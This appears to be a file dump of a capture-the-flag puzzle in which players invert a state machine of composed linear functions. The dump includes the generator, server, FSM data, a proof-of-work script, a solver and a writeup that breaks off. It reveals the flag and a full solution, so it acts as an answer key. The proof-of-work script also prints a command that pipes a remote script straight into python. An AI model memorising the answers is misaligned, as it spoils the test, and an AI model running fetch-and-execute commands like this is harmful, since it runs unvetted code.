"1091710448372424154515374739895252203221838786640397847027292294006067778487322543295537127353736758414406080385789143595612754500402033411149068103162511243882170591069245972545449739712056847038075026684448741309*x + 472470464377170694445636992249782925763602184534196425520729720687677893734022345171828427621286586909509052706733821586176441860476060471974452244683028710135972575237203881408141201470878592878519711325682481734", "final_state": 37, "timeout": 30}, {"data": "https://www.youtube.com/watch?v=0SoNH07Slj0", "f_expr": "548621778689327194416944689146782846252569581958156466004106459667136559717562952827415377469782781519203282927919716807348196811239036069084959882011387734400928968273763399014856579266242499*x + 46063818059063893398952808742173161322287597880756937094226742359840971361637248291220645198247826085234783078826405215540726026139553530412686535002406845289633577657390148811989464917092749", "final_state": 4, "timeout": 15}, {"data": "somebody once told me the world is gonna roll me i ain't the sharpest tool in the shed", "f_expr": "479421777883271666468146753494736172018079080584294669421088787488098473419295239394416724386647770134978169605368601923271428260014667357360100153132342564663064495975958364832460878067006464012889649157676952261876074133180056458556286925490304036717383841939101018909182708506804794561055868239397707425776680578916756853917433307935138239283493723891557505988231759854484745768365591883307897*x + 77347587851573787218749637129960690645502355910288580358125782597741180405972512415400006034168364977302560339850014114222211231434482893074087777186498207478319090599805676477087651921335526489870658704656058980301262344587405834252817437801716175044356199800390286058704926119533130618491857266593735502810561044574837369392110168512964517104598995168041358980219570626532444750037152254066594", "final_state": 79, "timeout": 5}, {"data": "daeherof reh no L na fo epahs eht ni bmuht reh dna regnif reh htiw bmud fo dnik gnikool saw ehs", "f_expr": "31365848204418930965635313241838402762529134776630873380881186659921879035982152667065465335341508971295469552338803409583363372917349837476645010797477789215617948696770800383723235193412396286222854743378426132495504272854298682097892484647677947948642935127643706743083956396246951311305488157343969980690973886753825939786337553451136668168478259921678936446001823168950297863888518662046144801894025999159124309600815547304255587042071*x + 2753504506715151593092473582968618771092470974704477586205647390039555263631791534208553947107837818229022672456363055076726231023266424093550326447728744791051853985131413984076475493941020845270310200945504910149500406142151723301710283164596131041710525488966778558289524830608497174732143035968046680980621951514130746578786027638341928358315620693199609714127547993905135080741494699125328135369507866911476767390774896502083814916196", "final_state": 9, "timeout": 3}, {"data": "According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because bees don't care what humans think is impossible.", "f_expr": "3373820536786674952198127042154169032439902448102814244503493231610374456669808245575707729576090460710518180869304366869157798724568811275983495027902488181445015353481264528399718221833508588261819318049879050995052711371956644870520249836570020938572412522516769916878493663173093348125666093428857322322977019732357758911939697611666985495597834639941253779450730342696085546014156670648106330393424170647993166208764331402365185512037326532491661134074677172897291443809176435004585976131644227720326887849313159337784837886345039400695110164336589278413233519008959794266798532403191429171637451437141374452375000971737616193643185897026248452695685483915702248412268858744178342118744208135799765312554919183969398057754921396573043969757249120591228465279757921458446461912734795992718093412693586878177460918208256512609579783574850058447665097432251894593516088160760967973482145985140992675297629698274155399372103655875662784921969024682816274256882023007014038115959022435900566813588779113342235192675650030816280715354970593969126773771545236201872799886163937499817007189956610108822159340412032237906299612365121969145678512389*x + 199884323911985492249476895766514930286875476772930808291872923023664097301389698600375878597690647203723594837254200802392207762712141433387495454093173875405751549880480108081781216206143818779492700937188072769851651865200612812562787963041267097030808543629725900834636559589975191733380553979817649400996566519075475002689665948133980707225794345412219604938547738289278063475276256119846256763760588288440747375404244621733023870306805886379644409422049775194198118153219025572410289365222680770782504601746847789188733693895657690362638593763662479456505384067651329689457311394754191948153650643512043879611121774927989104337798102987124379704992754591539484524316385421784561556684591053801928662478267007244305378756759195021831116638957604706143847650951132504166098552451813494554003898611348692575455069944258463861275393069446138819164220537554347261943791591260150716209259883381439285613523684678666526595759980214172678241493214354845770655318959645083430411919762672045677374456189829671007670171878558370467607317330783901661152782874846854750652323043755895402038295743072462126619357257017556745099028059691827504634570346", "final_state": 10, "timeout": 2}] ================================================ FILE: misc/flying-spaghetti-monster/challenge/entry.sh ================================================ #!/bin/bash POW_DIFFICULTY=8000 if ! /chal/pow.py ask "$POW_DIFFICULTY"; then echo 'pow fail' exit 1 fi exec "./server.py" ================================================ FILE: misc/flying-spaghetti-monster/challenge/flag.txt ================================================ DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm} ================================================ FILE: misc/flying-spaghetti-monster/challenge/fsm.py ================================================ import inspect import itertools import json import random import string import networkx import sympy GEN_CHUNK = 8192 x = sympy.symbols("x") def linfunc_gen(n=None): i = 0 if n is None: gi = itertools.count() else: gi = range(n // GEN_CHUNK + 2) ps = iter(sympy.ntheory.generate.Sieve()) for i in gi: cs = random.sample(range(GEN_CHUNK), GEN_CHUNK) for p, c in zip(ps, cs): yield sympy.Poly(p * x + c + (i * GEN_CHUNK), x) class FSM(): def __init__(self, g): self.g = g @classmethod def new(cls, alphabet=string.printable): # We shuffle the alphabet so that monotonic state numbers don't leak it alphabet = list(alphabet) random.shuffle(alphabet) g = networkx.complete_graph(alphabet, create_using=networkx.DiGraph) # Add loop edges so we can repeat characters for n in g.nodes: g.add_edge(n, n) # Now generate random linear functions for each edge ec = len(g.edges) for e, f in zip(random.sample(tuple(g.edges), ec), linfunc_gen(ec)): ed = g.edges[e] ed["f"], ed["n"] = f, ord(e[1]) ed["fe"] = fe = f.as_expr() # Now that we've added the values to the edges, we can anonymise the # node into a monotonic series of integer values return cls(networkx.convert_node_labels_to_integers(g)) @classmethod def load(cls, fobj): g = networkx.DiGraph() for edge_repr in fobj.readlines(): a_b, n, fe = edge_repr.strip().split("\t") a, b = a_b.split("->") a, n, b = map(int, (a, n, b)) f = sympy.Poly(fe) g.add_edge(a, b, n=n, f=f, fe=fe) return cls(g) def save(self, fobj): for a, b in random.sample(tuple(self.g.edges), len(self.g.edges)): ed = self.g.edges[(a,b)] fobj.write(f"{a}->{b}\t{ed['n']}\t{ed['fe']}\n") def as_edges(self, inputs): # Convert an input iterable into a series of edge traversals. Note that # we add an extra edge from the 0th element to itself to ensure it is # explicitly included in the edge list. first, *rest = inputs for e in networkx.selfloop_edges(self.g): if self.g.edges[e]["n"] == ord(first): yield e a = e[0] break else: raise LookupError(f"Failed to find loop edge for {first!r}") for c in rest: for b, ed in self.g[a].items(): if ed["n"] == ord(c): yield a, b a = b break else: raise LookupError(f"Failed to find edge from {a!r} for {c!r}") def get_comp(self, inputs): # Compose the linear functions along a path of input values fa = sympy.Poly(x) for e in self.as_edges(inputs): fb = self.g.edges[e]["f"] fa = fb.compose(fa) return fa, e[1] if __name__ == "__main__": print("Creating new FSM") fsm_obj = FSM.new() fsm_obj.save(open("fsm.txt", "w")) print("Creating canned challenges") canned_data = [] for data in (l.strip() for l in open("canned-inputs.txt").readlines()): if not data or data.startswith("#"): continue data, *maybe_timeout = data.split(";") f, sf = fsm_obj.get_comp(data) datum = { "data": data, "f_expr": str(f.as_expr()), "final_state": sf, } if maybe_timeout: (timeout, ) = maybe_timeout datum["timeout"] = int(timeout) canned_data.append(datum) json.dump(canned_data, open("canned.json", "w")) print("Done") ================================================ FILE: misc/flying-spaghetti-monster/challenge/fsm.txt ================================================ 7->7 126 59141*x + 8045 87->20 62 78809*x + 2638 46->78 76 37693*x + 2099 20->44 45 3389*x + 7787 81->80 110 58913*x + 29 64->79 100 2689*x + 5631 76->7 126 30259*x + 2682 96->20 62 64453*x + 2542 17->45 13 11833*x + 828 31->34 41 75659*x + 3942 19->55 39 25931*x + 4215 26->39 113 71569*x + 5640 69->68 36 79231*x + 6411 32->82 40 84223*x + 12778 70->32 69 66191*x + 2600 28->31 47 60793*x + 6673 55->47 90 92863*x + 9576 85->70 57 26759*x + 6582 89->75 56 100103*x + 12753 19->40 34 51767*x + 5025 22->78 76 84239*x + 8723 43->68 36 98327*x + 12415 85->51 97 75149*x + 3217 33->99 54 13049*x + 4608 96->11 43 77291*x + 2817 98->89 107 38113*x + 2431 26->13 99 27329*x + 6129 33->61 10 4889*x + 3125 50->34 41 8837*x + 2730 0->23 11 5791*x + 6797 88->11 43 101581*x + 15684 32->66 44 80231*x + 6906 85->61 10 12917*x + 5484 44->36 79 30293*x + 6415 70->91 91 3527*x + 6939 43->33 122 54959*x + 2245 33->60 85 23159*x + 2708 24->3 118 32983*x + 3821 64->0 33 49481*x + 2517 38->58 35 60443*x + 4961 45->63 60 2999*x + 4346 41->72 92 56827*x + 3208 19->18 80 27211*x + 1065 91->52 42 63761*x + 7972 57->39 113 18211*x + 6000 99->35 88 63709*x + 1108 63->66 44 92077*x + 15876 43->51 97 3967*x + 4146 73->53 120 86927*x + 14325 34->90 86 75239*x + 2494 64->67 117 36767*x + 5909 83->67 117 92219*x + 10343 66->94 125 22079*x + 3986 75->98 93 80329*x + 2703 69->1 112 89689*x + 10856 65->59 84 89809*x + 16085 82->74 55 71257*x + 4160 63->10 46 73453*x + 8065 27->96 67 42157*x + 5687 60->59 84 7741*x + 6600 88->97 108 25253*x + 2715 56->10 46 64237*x + 2529 98->35 88 91463*x + 12302 60->34 41 98429*x + 11326 75->46 74 23741*x + 6975 53->40 34 62417*x + 3793 72->21 9 32213*x + 2281 46->65 95 74453*x + 1274 77->37 114 104233*x + 14064 33->62 103 6581*x + 4567 30->58 35 87877*x + 9239 24->62 103 5821*x + 2788 29->52 42 80777*x + 6255 45->5 82 73141*x + 1106 47->83 12 1999*x + 6739 85->40 34 3671*x + 5522 97->41 73 60623*x + 8105 15->51 97 21377*x + 3667 5->19 61 84431*x + 15377 28->89 107 16447*x + 3003 7->75 56 43661*x + 4492 86->93 98 73387*x + 3617 89->40 34 64333*x + 5903 28->74 55 65539*x + 1981 90->95 111 92557*x + 10281 92->86 53 49331*x + 4876 41->50 116 56921*x + 105 9->48 78 73771*x + 3660 63->88 71 77849*x + 3588 80->5 82 22541*x + 7922 18->14 77 86413*x + 9118 56->58 35 98323*x + 14007 67->18 80 99527*x + 15395 47->45 13 55717*x + 7548 26->43 105 24671*x + 1653 65->0 33 2531*x + 8046 71->17 104 13523*x + 6827 1->90 86 32993*x + 6419 91->29 38 4261*x + 381 55->81 32 95917*x + 9328 21->99 54 683*x + 7924 40->12 101 46183*x + 6356 19->15 63 18311*x + 5288 70->50 116 10457*x + 5339 17->73 102 97523*x + 15902 92->94 125 92401*x + 15732 18->46 74 62929*x + 3352 25->18 80 7937*x + 6691 24->36 79 63533*x + 7728 94->7 126 52609*x + 1876 21->11 43 31981*x + 2304 4->24 65 24137*x + 2296 30->5 82 64853*x + 3867 1->42 87 1103*x + 3011 87->49 68 8221*x + 475 42->19 61 79601*x + 6087 74->75 56 56269*x + 3982 18->77 106 55813*x + 3785 95->44 45 93241*x + 8644 81->90 86 58243*x + 4073 71->22 64 99277*x + 10330 35->7 126 27109*x + 7086 45->6 123 8521*x + 5046 21->5 82 15121*x + 8179 18->85 83 49037*x + 7500 79->34 41 60763*x + 1524 88->14 77 54121*x + 4479 87->42 87 80233*x + 3518 93->65 95 61627*x + 7698 61->86 53 9439*x + 2273 18->99 54 87641*x + 13120 19->27 58 68449*x + 3611 86->79 100 41809*x + 6009 31->1 112 4597*x + 7357 28->93 98 61057*x + 1953 15->31 47 6337*x + 1288 90->3 118 79997*x + 4568 50->77 106 18587*x + 117 28->95 111 35671*x + 7974 82->30 96 15299*x + 450 19->94 125 82591*x + 7653 15->83 12 52177*x + 2666 87->53 120 17747*x + 5066 94->65 95 5689*x + 4212 59->27 58 48383*x + 5677 46->42 87 96059*x + 13777 15->57 109 82799*x + 7353 98->82 40 60889*x + 3954 78->47 90 11329*x + 2728 27->91 91 2*x + 6973 33->43 105 45833*x + 1271 59->97 108 89213*x + 8914 10->36 79 31069*x + 3273 17->78 76 94057*x + 14238 66->45 13 12829*x + 265 78->57 109 94109*x + 9754 67->69 59 59359*x + 3438 11->40 34 26249*x + 1281 71->65 95 52457*x + 7063 54->16 66 6607*x + 5331 31->86 53 8171*x + 5145 67->74 55 50497*x + 7057 45->49 68 20663*x + 1758 62->94 125 11801*x + 2230 34->72 92 27793*x + 1182 50->46 74 17939*x + 5917 34->88 71 16921*x + 7047 22->65 95 47339*x + 3915 0->31 47 96469*x + 16306 15->13 99 8167*x + 482 55->79 100 99989*x + 10189 8->37 114 87103*x + 8854 25->10 46 401*x + 5340 35->30 96 71389*x + 5880 28->22 64 20533*x + 228 26->11 43 78341*x + 3276 52->17 104 95873*x + 12606 23->63 60 28753*x + 3856 84->58 35 30773*x + 6220 66->30 96 100609*x + 12165 14->6 123 96997*x + 14487 64->75 56 37889*x + 6552 6->27 58 31321*x + 5432 33->49 68 61469*x + 5683 4->40 34 85009*x + 15985 37->8 49 15017*x + 4032 45->22 64 59581*x + 2450 51->58 35 100733*x + 10264 60->66 44 81953*x + 6471 55->48 78 73999*x + 276 9->74 55 17683*x + 5771 69->56 119 52021*x + 2457 80->67 117 26723*x + 726 67->88 71 43013*x + 4817 97->52 42 78497*x + 7466 47->88 71 18493*x + 399 18->79 100 50777*x + 7788 92->90 86 27259*x + 7685 25->20 62 56171*x + 8067 35->82 40 5417*x + 7914 78->54 94 58217*x + 5751 76->28 50 25189*x + 1611 53->90 86 29959*x + 167 35->6 123 62701*x + 3920 37->48 78 68111*x + 4700 12->35 88 45841*x + 4437 61->36 79 54101*x + 7343 21->48 78 34127*x + 3044 36->21 9 16493*x + 4658 94->1 112 14153*x + 5797 53->9 115 54421*x + 5106 61->34 41 48677*x + 838 73->44 45 37423*x + 5737 20->17 104 91691*x + 10200 81->8 49 43391*x + 5806 26->41 73 55843*x + 7647 48->69 59 102329*x + 14524 63->78 76 91019*x + 11290 30->66 44 42979*x + 383 57->8 49 46141*x + 6520 33->37 114 32999*x + 1545 43->96 67 90677*x + 14757 20->43 105 827*x + 7913 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6817 58->87 121 80863*x + 6908 33->35 88 317*x + 1155 78->34 41 85703*x + 10502 87->5 82 19469*x + 2124 1->17 104 1399*x + 1017 58->1 112 80347*x + 6450 32->53 120 1433*x + 3436 93->90 86 70937*x + 3127 53->35 88 6701*x + 324 9->56 119 10979*x + 3796 68->73 102 75079*x + 6370 40->30 96 12641*x + 6237 26->86 53 91369*x + 9399 75->63 60 5701*x + 7709 88->45 13 5231*x + 786 5->23 11 25577*x + 3248 18->39 113 91541*x + 12631 34->54 94 971*x + 7201 24->86 53 72949*x + 7350 56->24 65 63409*x + 4887 35->32 69 92669*x + 12086 23->70 57 61717*x + 4006 20->66 44 104597*x + 13831 50->97 108 75109*x + 6446 15->23 11 39863*x + 1567 72->54 94 35969*x + 1805 51->4 48 42221*x + 3167 32->48 78 88799*x + 8688 96->2 72 68161*x + 6883 13->58 35 66593*x + 6594 74->64 70 59443*x + 2186 21->18 80 26801*x + 2006 55->30 96 4799*x + 3533 2->90 86 3557*x + 5735 50->13 99 48907*x + 8142 93->77 106 52051*x + 3050 13->62 103 19819*x + 352 33->31 47 103423*x + 8651 97->17 104 36571*x + 6018 33->11 43 68477*x + 4719 34->59 84 29581*x + 5335 0->56 119 20849*x + 6308 35->33 122 33289*x + 6225 48->43 105 101599*x + 14552 38->56 119 93967*x + 15337 23->42 87 67391*x + 7493 40->74 55 67867*x + 5695 61->96 67 70717*x + 4579 41->88 71 25537*x + 6933 63->91 91 69911*x + 1976 31->91 91 88591*x + 9514 22->59 84 36383*x + 3351 82->66 44 77641*x + 4976 49->34 41 26317*x + 4809 73->74 55 62207*x + 4894 91->50 116 15859*x + 1217 95->78 76 68501*x + 6304 30->60 85 92959*x + 16095 39->38 75 48341*x + 6941 93->23 11 23143*x + 5551 67->70 57 13103*x + 7310 15->4 48 31387*x + 2692 96->46 74 18959*x + 7308 50->36 79 62233*x + 5171 0->54 94 16097*x + 818 66->24 65 26263*x + 6896 ================================================ FILE: misc/flying-spaghetti-monster/challenge/pow.py ================================================ #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import base64 import os import secrets import socket import sys import hashlib try: import gmpy2 HAVE_GMP = True except ImportError: HAVE_GMP = False sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n") VERSION = 's' MODULUS = 2**1279-1 CHALSIZE = 2**128 SOLVER_URL = 'https://goo.gle/kctf-pow' def python_sloth_root(x, diff, p): exponent = (p + 1) // 4 for i in range(diff): x = pow(x, exponent, p) ^ 1 return x def python_sloth_square(y, diff, p): for i in range(diff): y = pow(y ^ 1, 2, p) return y def gmpy_sloth_root(x, diff, p): exponent = (p + 1) // 4 for i in range(diff): x = gmpy2.powmod(x, exponent, p).bit_flip(0) return int(x) def gmpy_sloth_square(y, diff, p): y = gmpy2.mpz(y) for i in range(diff): y = gmpy2.powmod(y.bit_flip(0), 2, p) return int(y) def sloth_root(x, diff, p): if HAVE_GMP: return gmpy_sloth_root(x, diff, p) else: return python_sloth_root(x, diff, p) def sloth_square(x, diff, p): if HAVE_GMP: return gmpy_sloth_square(x, diff, p) else: return python_sloth_square(x, diff, p) def encode_number(num): size = (num.bit_length() // 24) * 3 + 3 return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8') def decode_number(enc): return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big') def decode_challenge(enc): dec = enc.split('.') if dec[0] != VERSION: raise Exception('Unknown challenge version') return list(map(decode_number, dec[1:])) def encode_challenge(arr): return '.'.join([VERSION] + list(map(encode_number, arr))) def get_challenge(diff): x = secrets.randbelow(CHALSIZE) return encode_challenge([diff, x]) def solve_challenge(chal): [diff, x] = decode_challenge(chal) y = sloth_root(x, diff, MODULUS) return encode_challenge([y]) def can_bypass(chal, sol): from ecdsa import VerifyingKey from ecdsa.util import sigdecode_der if not sol.startswith('b.'): return False sig = bytes.fromhex(sol[2:]) with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd: vk = VerifyingKey.from_pem(fd.read()) return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der) def verify_challenge(chal, sol, allow_bypass=True): if allow_bypass and can_bypass(chal, sol): return True [diff, x] = decode_challenge(chal) [y] = decode_challenge(sol) res = sloth_square(y, diff, MODULUS) return (x == res) or (MODULUS - x == res) def usage(): sys.stdout.write('Usage:\n') sys.stdout.write('Solve pow: {} solve $challenge\n') sys.stdout.write('Check pow: {} ask $difficulty\n') sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n') sys.stdout.write(' 1337: 1 sec\n') sys.stdout.write(' 31337: 30 secs\n') sys.stdout.write(' 313373: 5 mins\n') sys.stdout.flush() sys.exit(1) def main(): if len(sys.argv) != 3: usage() sys.exit(1) cmd = sys.argv[1] if cmd == 'ask': difficulty = int(sys.argv[2]) if difficulty == 0: sys.stdout.write("== proof-of-work: disabled ==\n") sys.exit(0) challenge = get_challenge(difficulty) sys.stdout.write("== proof-of-work: enabled ==\n") sys.stdout.write("please solve a pow first\n") sys.stdout.write("You can run the solver with:\n") sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge)) sys.stdout.write("===================\n") sys.stdout.write("\n") sys.stdout.write("Solution? ") sys.stdout.flush() solution = '' with os.fdopen(0, "rb", 0) as f: while not solution: line = f.readline().decode("utf-8") if not line: sys.stdout.write("EOF") sys.stdout.flush() sys.exit(1) solution = line.strip() if verify_challenge(challenge, solution): sys.stdout.write("Correct\n") sys.stdout.flush() sys.exit(0) else: sys.stdout.write("Proof-of-work fail") sys.stdout.flush() elif cmd == 'solve': challenge = sys.argv[2] solution = solve_challenge(challenge) if verify_challenge(challenge, solution, False): sys.stderr.write("Solution: \n".format(solution)) sys.stderr.flush() sys.stdout.write(solution) sys.stdout.flush() sys.stderr.write("\n") sys.stderr.flush() sys.exit(0) else: usage() sys.exit(1) if __name__ == "__main__": main() ================================================ FILE: misc/flying-spaghetti-monster/challenge/requirements.txt ================================================ networkx sympy ecdsa ================================================ FILE: misc/flying-spaghetti-monster/challenge/server.py ================================================ #!/usr/bin/env python3 import base64 import inspect import json import random import signal import string import threading import fsm FLAG = open("flag.txt", "r").read().strip() FLAG_TEXT = f""" <:) {FLAG} We know a great deal about the properties of gravity, yet we know nothing about the cause of the force itself. Why are particles attracted to one other? If we review the literature, we find a lot of material dealing with the properties of gravity, but very little dealing with the underlying cause of this attraction. Until we have a proven answer to this question, it seems irresponsible to instruct students in what is, ultimately, just a theory. However, if we must discuss the theory of gravity at all, then it's reasonable that all suggested theories should be given equal time, since none have been proven or disproven. Therefore, I formally submit that the Flying Spaghetti Monster is behind this strange and often misunderstood force. """ # Reflow any multi-line text def clean(data): return " ".join(inspect.cleandoc(data).splitlines()) def die(*_): print("The pirates have disrupted your path, better luck next time") raise SystemExit signal.signal(signal.SIGALRM, die) class ChallengeFSM(fsm.FSM): @staticmethod def get_resp(f_expr, final_state, timeout=0): print(f"{f_expr} -> {final_state}") if timeout > 0: print(f"Pirate attack incoming in {timeout} seconds") signal.alarm(timeout) try: return input().strip() finally: # Cancel the alarm signal.alarm(0) @staticmethod def _check_resp(data, resp): if data != resp: print("You have deviated from the path") raise SystemExit @classmethod def run_canned(cls): canned_data = json.load(open("canned.json")) for entry in canned_data: data, timeout = entry["data"], entry.get("timeout", 0) f_expr, final_state = entry["f_expr"], entry["final_state"] resp = cls.get_resp(f_expr, final_state, timeout=timeout) cls._check_resp(data, resp) def check_canned(self): canned_data = json.load(open("canned.json")) for entry in canned_data: data = entry["data"] f_expr, final_state = entry["f_expr"], entry["final_state"] f, sf = self.get_comp(data) assert f_expr == str(f.as_expr()) assert final_state == sf def challenge(self, data, timeout=0): f, sf = self.get_comp(data) resp = self.get_resp(f.as_expr(), sf, timeout=timeout) self._check_resp(data, resp) # We expect to have a set of initial challenges which are pre-computed so that # we're not loading the FSM data into memory unless the player had already # shown that they know how to respond properly. We have a sanity check later # which ensures that we are made aware of any drift in the canned challenges # and the generated FSM. print("Are you ready to achieve enlightenment?") try: ChallengeFSM.run_canned() except Exception: print("I am broken :( Please contact the organisers and quote reference:") print("\tICUP") raise SystemExit # Now we do a deathrun with random challenges so we need to load the FSM data busy_text = ( "Are you ready, kids?", "Aye, aye, Captain!", "I can't hear you!", "Aye, aye, captain!", "Oh!", "...", "Ohhhhh!", "...", "Okay look, we're loading data and it's going slow", "Really slow apparently", "Wow, what?", ":(", ) loaded_event = threading.Event() def look_busy(): for l in busy_text: print(l) if loaded_event.wait(1): return while True: print("sorry") if loaded_event.wait(1): return t = threading.Thread(target=look_busy) t.start() FSM_OBJ = ChallengeFSM.load(open("fsm.txt")) try: FSM_OBJ.check_canned() except AssertionError: print("I am broken :( Please contact the organisers and quote reference:") print("\tBOFA") raise SystemExit finally: loaded_event.set() get_junk = lambda n: "".join(random.choice(string.ascii_letters) for _ in range(n)) lyrics = ( "who lives in a pineapple under the sea?", "absorbent and yellow and porous is he", "if nautical nonsense be something you wish", "then drop on the deck and flop like a fish!", ) for l in lyrics: print(l) FSM_OBJ.challenge(f"{get_junk(48)} {get_junk(48)}", 1) # Lots of random bytes at the end of this one extends solve time and ensures # they have an online solver which can deal with time limits FSM_OBJ.challenge("ravioli ravioli give me the formuoli! " + get_junk(150), 2) # Finally we'll send them the flag and tell them to have fun ;) f, sf = FSM_OBJ.get_comp(clean(FLAG_TEXT)) print("The pirates left some booty floating in the ocean as they fled") print(f"{f.as_expr()} -> {sf}") ================================================ FILE: misc/flying-spaghetti-monster/challenge.yml ================================================ version: "0.1" id: fsm name: Flying Spaghetti Monster category: misc description: | A glorious tangle came toward me and in it I saw my path unfolding, traced by a single noodly appendage, winding with linear purpose though his corporeal form. Beautiful visions composed of primary colours led me forward, and eventually I reached the end without knowing precisely how I had arrived. Author: hypersphere (Cybears) connection_info: nc ${host} ${port} tags: - hard files: - ./challenge/fsm.txt flags: - DUCTF{fsms-m4k3-m3-smfh-fsmsfsmsfsmsfsmsfsm} ================================================ FILE: misc/flying-spaghetti-monster/solve/Dockerfile.solve ================================================ # vi: ft=dockerfile FROM python:3 COPY requirements.txt requirements-solve.txt /tmp/ RUN python3 -m pip install -r /tmp/requirements-solve.txt COPY fsm.py solve.py /noob/ RUN chmod ugo+x /noob.py WORKDIR /noob ================================================ FILE: misc/flying-spaghetti-monster/solve/fsm.py ================================================ import inspect import itertools import json import random import string import networkx import sympy GEN_CHUNK = 8192 x = sympy.symbols("x") def linfunc_gen(n=None): i = 0 if n is None: gi = itertools.count() else: gi = range(n // GEN_CHUNK + 2) ps = iter(sympy.ntheory.generate.Sieve()) for i in gi: cs = random.sample(range(GEN_CHUNK), GEN_CHUNK) for p, c in zip(ps, cs): yield sympy.Poly(p * x + c + (i * GEN_CHUNK), x) class FSM(): def __init__(self, g): self.g = g @classmethod def new(cls, alphabet=string.printable): # We shuffle the alphabet so that monotonic state numbers don't leak it alphabet = list(alphabet) random.shuffle(alphabet) g = networkx.complete_graph(alphabet, create_using=networkx.DiGraph) # Add loop edges so we can repeat characters for n in g.nodes: g.add_edge(n, n) # Now generate random linear functions for each edge ec = len(g.edges) for e, f in zip(random.sample(tuple(g.edges), ec), linfunc_gen(ec)): ed = g.edges[e] ed["f"], ed["n"] = f, ord(e[1]) ed["fe"] = fe = f.as_expr() # Now that we've added the values to the edges, we can anonymise the # node into a monotonic series of integer values return cls(networkx.convert_node_labels_to_integers(g)) @classmethod def load(cls, fobj): g = networkx.DiGraph() for edge_repr in fobj.readlines(): a_b, n, fe = edge_repr.strip().split("\t") a, b = a_b.split("->") a, n, b = map(int, (a, n, b)) f = sympy.Poly(fe) g.add_edge(a, b, n=n, f=f, fe=fe) return cls(g) def save(self, fobj): for a, b in random.sample(tuple(self.g.edges), len(self.g.edges)): ed = self.g.edges[(a,b)] fobj.write(f"{a}->{b}\t{ed['n']}\t{ed['fe']}\n") def as_edges(self, inputs): # Convert an input iterable into a series of edge traversals. Note that # we add an extra edge from the 0th element to itself to ensure it is # explicitly included in the edge list. first, *rest = inputs for e in networkx.selfloop_edges(self.g): if self.g.edges[e]["n"] == ord(first): yield e a = e[0] break else: raise LookupError(f"Failed to find loop edge for {first!r}") for c in rest: for b, ed in self.g[a].items(): if ed["n"] == ord(c): yield a, b a = b break else: raise LookupError(f"Failed to find edge from {a!r} for {c!r}") def get_comp(self, inputs): # Compose the linear functions along a path of input values fa = sympy.Poly(x) for e in self.as_edges(inputs): fb = self.g.edges[e]["f"] fa = fb.compose(fa) return fa, e[1] if __name__ == "__main__": print("Creating new FSM") fsm_obj = FSM.new() fsm_obj.save(open("fsm.txt", "w")) print("Creating canned challenges") canned_data = [] for data in (l.strip() for l in open("canned-inputs.txt").readlines()): if not data or data.startswith("#"): continue data, *maybe_timeout = data.split(";") f, sf = fsm_obj.get_comp(data) datum = { "data": data, "f_expr": str(f.as_expr()), "final_state": sf, } if maybe_timeout: (timeout, ) = maybe_timeout datum["timeout"] = int(timeout) canned_data.append(datum) json.dump(canned_data, open("canned.json", "w")) print("Done") ================================================ FILE: misc/flying-spaghetti-monster/solve/requirements-solve.txt ================================================ -r requirements.txt pwntools yarl ================================================ FILE: misc/flying-spaghetti-monster/solve/solve.py ================================================ #/usr/bin/env python3 import collections import subprocess import time import re import networkx import pwn import sympy import yarl import fsm x = sympy.symbols("x") def get_coeffs(f): c = f.subs(x, 0) p = f.subs(x, 1) - c return p, c def walk(g, al, c): for bl, zz, ed in g.in_edges(al, data=True): assert zz == al p_, c_ = get_coeffs(ed["f"]) if c - c_ == 0: yield ed["n"] return q, r = divmod(c - c_, p_) if r == 0: try: yield from walk(g, bl, q) except GeneratorExit: pass else: yield ed["n"] return else: raise GeneratorExit def solve(g, f, sf): a, c = get_coeffs(f) ts = time.time() r = "".join(chr(e) for e in walk(g, sf, c)) te = time.time() pwn.log.info(f"solve took {te - ts} seconds") return r # Set up the server and load our graph at the same time since it's slow pwn.context.log_level = "debug" pwn.context.timeout = 2 if pwn.args.HOST: u = yarl.URL(pwn.args.HOST) assert u.scheme == "tcp", "Use tcp://host:port" t = pwn.remote(u.host, u.port) G = fsm.FSM.load(open("../challenge/fsm.txt")).g else: # run in challenge/ dir to test solve locally t = pwn.process(["python", "./server.py"]) G = fsm.FSM.load(open("./fsm.txt")).g # Wait until the server is good to go has_pow = t.recvline_contains(( b"Are you ready to achieve enlightenment?", b"== proof-of-work: enabled ==" )) if "proof-of-work: enabled" in has_pow.decode("ascii", "ignore"): pwn.log.info("pow detected: solving pow") pow = (t.recvline_contains(b"python3") .decode("ascii", "ignore") .strip() .split()[-1]) s = pwn.process(["../challenge/pow.py", "solve", pow]) s.recvline_contains(b'Solution:\n') s.recvline() t.sendline(s.recvline()[:-1]) t.recvline_contains(b"Are you ready to achieve enlightenment?") STATE_DELIM = b" -> " while True: # Wait for lines with " -> " in them l = t.recvline() if not l or STATE_DELIM not in l: continue pwn.log.info("Need to solve %s", l) fe, sf = l.split(STATE_DELIM) f, sf = sympy.Poly(fe.decode()), int(sf) d = solve(G, f, sf) pwn.log.info("Decoded %s", d) try: t.sendline(d.encode()) except EOFError: pwn.log.info("Server closed the connection") break except TimeoutError: if i == 0: continue raise assert "DUCTF{" in d, d ================================================ FILE: misc/flying-spaghetti-monster/solve/writeup.md ================================================ ## Flying Spaghetti Monster This is a challenge that presents something which looks roughly like a finite state machine, defined by its state transitions. Each transition is defined by an integer value (all of which are ASCII printables) and a polynomial of the form `a*x + c` where `a` is prime and `c` is in Z+. Each state is labelled using a monotonic sequence of values which don't correspond to the values associated with each state transition. The player is given this information as a static handout, and the server must have the same data available to it. The player connects to a server for the live 